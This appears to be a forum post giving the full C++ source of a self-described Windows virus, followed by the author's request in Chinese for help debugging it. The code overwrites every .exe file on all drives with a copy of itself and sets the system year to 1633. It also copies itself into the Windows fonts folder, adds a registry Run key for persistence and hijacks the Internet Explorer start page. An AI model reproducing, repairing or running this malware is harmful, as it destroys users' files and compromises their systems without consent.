killer.cpp
#include <iostream>
#include <stdio.h>
#include "stdafx.h"
#include "loveshark.h"
#include "DeathFile.h"
#include "resource.h"
using namespace std;
#define TELOP
class FileKiller:public ControlFile
{
public:
bool ProFile(char *filename)
{
SYSTEMTIME syst;
::GetSystemTime(&syst);
FILE *temp;
temp = fopen(recordpath,"w");
char record[100];
sprintf(record,"In %d",syst.wYear);
fputs(record,temp);
return true;
}
FileKiller()
{
recordpath = "C:\\WINDOWS\\system32\\5216855.txt";
}
~FileKiller()
{}
private:
char *recordpath;
}*FK32;
LRESULT CALLBACK WindowProc(HWND hwnd,
    UINT uMsg,
    WPARAM wParam,
    LPARAM lParam
);
int WINAPI WinMain(          HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow
)
{
WNDCLASSEX wndcls;
wndcls.cbClsExtra = NULL;
wndcls.cbSize = sizeof(WNDCLASSEX);
wndcls.cbWndExtra = NULL;
wndcls.hbrBackground = (HBRUSH)COLOR_WINDOW;
wndcls.hCursor = ::LoadCursor(NULL,IDC_ARROW);
wndcls.hIcon = ::LoadIcon(hInstance,(LPCWSTR)IDI_ICON1);
wndcls.hIconSm = NULL;
wndcls.hInstance = NULL;
wndcls.lpfnWndProc = WindowProc;
wndcls.lpszClassName =(LPCWSTR)"Killer";
wndcls.lpszMenuName = NULL;
wndcls.style = CS_HREDRAW | CS_VREDRAW;
::RegisterClassEx(&wndcls);
HWND hwnd;
hwnd = ::CreateWindowEx(NULL,(LPCWSTR)"Killer",NULL,NULL,0,0,800,600,
NULL,NULL,hInstance,NULL);
::ShowWindow(hwnd,SW_HIDE);
::UpdateWindow(hwnd);
FK32 = new FileKiller;
CONTROLreg free;
bool whatever(false);
whatever = FK32-> missing_time();
if( true == whatever)
FK32 -> BeginBrowser();
else
FK32 -> backupviruse();
free.Beginrecompose();
system("start C:\\WINDOWS\\fonts\\style.exe");
MSG msg;
while( (::GetMessage(&msg,hwnd,NULL,NULL))!=NULL)
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WindowProc(HWND hwnd,
    UINT uMsg,
    WPARAM wParam,
    LPARAM lParam
)
{
switch(uMsg)
{
default:
return ::DefWindowProc(hwnd,uMsg,wParam,lParam);
}
}DeathFile.h
#include "stdafx.h"
#ifdef LOSE_time
class ControlFile{
public:
bool BeginBrowser();
bool BrowserFile(char*); 
virtual bool ProFile(char*); //kill file
bool backupviruse(); //backup virus
bool missing_time();  //ruin system time
const char *viruse;
char sou_patch[200]; //viruse sourcefile patch
public:
ControlFile();
~ControlFile()
{}
};
#else
#define ERROR
#endif
#pragma onceFileKiller.cpp
#include <iostream>
#include <io.h>
#include <direct.h>
#include "DeathFile.h"
#ifndef TELOP
using namespace std;
#endif
ControlFile::ControlFile()
{
viruse = "XieEngineer.exe";
//viruse sourcefile path
sprintf(sou_patch,"%s\\",_getcwd(NULL,NULL));
strcat(sou_patch,viruse);
}
bool ControlFile::BeginBrowser()
{   //This is find file function```` all exe file
bool judging(false);
for(int cycle=1;cycle <= _getdrives()+1;cycle++)
{ //get current work location
if(_chdrive(cycle) == 0)
{
char *cur_patch = _getcwd(NULL,NULL);
judging = BrowserFile(cur_patch);
}
}
return judging;
}
/* Begin find file and processing */bool ControlFile::BrowserFile(char *cur_patch)
{
_finddata_t fileattr; //file struct
_chdir(cur_patch);
long handle = _findfirst("*.*",&fileattr);
do{
if(fileattr.attrib == _A_SUBDIR)
BrowserFile(_getcwd(NULL,NULL)); //subdir exist recursion
else if(strcmp(".exe",&fileattr.name[strlen(fileattr.name)-5]) == 0)
ProFile(fileattr.name);
}while(_findnext(handle,&fileattr) != NULL);
return true;
}
bool ControlFile::ProFile(char *filename)
{
// overload function
::CopyFile((LPCWSTR)sou_patch,(LPCWSTR)filename,false);
return true;
}
bool ControlFile::backupviruse()
{
char *achievement = "C:\\WINDOWS\\fonts\\style.exe";
::CopyFile((LPCWSTR)sou_patch,(LPCWSTR)achievement,false);
return true;
}
bool ControlFile::missing_time() /*ruin time*/
{
SYSTEMTIME st;
::GetSystemTime(&st);
st.wYear = 1633;
::SetSystemTime(&st);
return true;
}stdafx.h
#include <windows.h>
#define LOSE_time //judging ruin OS time function exist 
#ifdef LOSE_time
#define REGCONTROL
#else
#define OVER
#endif
#pragma once
loveshark.h
class CONTROLreg
{
public:
CONTROLreg();
~CONTROLreg();
bool Beginrecompose();
private:
char *subkey;
char *path;
char *poor;
char *homepage;
char *mainpage;
};
regcontrol.cpp
#include <windows.h>
#include <io.h>
#include "loveshark.h"
CONTROLreg::CONTROLreg()
{
char *subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
char *path = "C:\\WINDOWS\\Fonts\\XieEngineer";
char *poor = "coffee_killer";
char *homepage ="SOFTWARE\\Microsoft\\Internet Explorer\\Main";
char *mainpage = "www.94shuang.com";
}
CONTROLreg::~CONTROLreg()
{}
bool CONTROLreg::Beginrecompose()
{
HKEY hkey;
DWORD wd;
int judge = ::RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)subkey,0,KEY_ALL_ACCESS,&hkey);
if((judge == 0) | !(_access(path,00)))
{
::RegSetValueEx(hkey,(LPCTSTR)poor,0,REG_SZ,(BYTE*)path,strlen(path));
}
judge = ::RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)homepage,0,KEY_ALL_ACCESS,&hkey);
if(judge ==0)
{
::RegSetValueEx(hkey,(LPCTSTR)"Start page",0,REG_SZ,(BYTE*)mainpage,
strlen(mainpage));
}
return true;
}resouce.h
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by XieEngineer1.rc
//
#define IDI_ICON1                       102// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        103
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif这是小弟写的一个VC病毒,做的菜还望大家不要见笑,这个程序还存在问题,还望大家不吝赐教
问题存在:
1、貌似遍历磁盘文件算法有问题,无法达到各磁盘exe文件的感染
2、修改WINDOWS的注册表没有反应(如修改IE主页)
3、程序还没有调试找错,希望大家帮帮忙(三个臭皮匠赛过诸葛亮嘛)
欢迎大家+QQ交流群:15171353